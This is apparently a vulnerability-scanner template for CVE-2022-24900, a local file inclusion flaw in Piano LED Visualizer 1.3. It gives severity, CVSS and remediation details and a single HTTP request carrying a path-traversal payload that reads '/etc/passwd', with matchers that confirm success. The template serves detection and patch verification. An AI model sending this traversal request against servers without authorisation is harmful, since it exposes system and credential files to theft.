id: CVE-2022-24900

info:
  name: Piano LED Visualizer 1.3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.
  reference:
    - https://github.com/onlaj/Piano-LED-Visualizer/issues/350
    - https://vuldb.com/?id.198714
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24900
    - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-24900
    cwe-id: CWE-668,CWE-22
    epss-score: 0.07871
    epss-percentile: 0.93944
    cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: piano_led_visualizer_project
    product: piano_led_visualizer
  tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220588b1c4a7b4667dc504ce86843213a2ff5bc1df7f05a053bd3473a1126a8d02c022012e4f3a576eb6a42a3528bc776844f2e39cad8865190a407f05cd0af7e8e8894:922c64590222798bb761d5b6d8e72950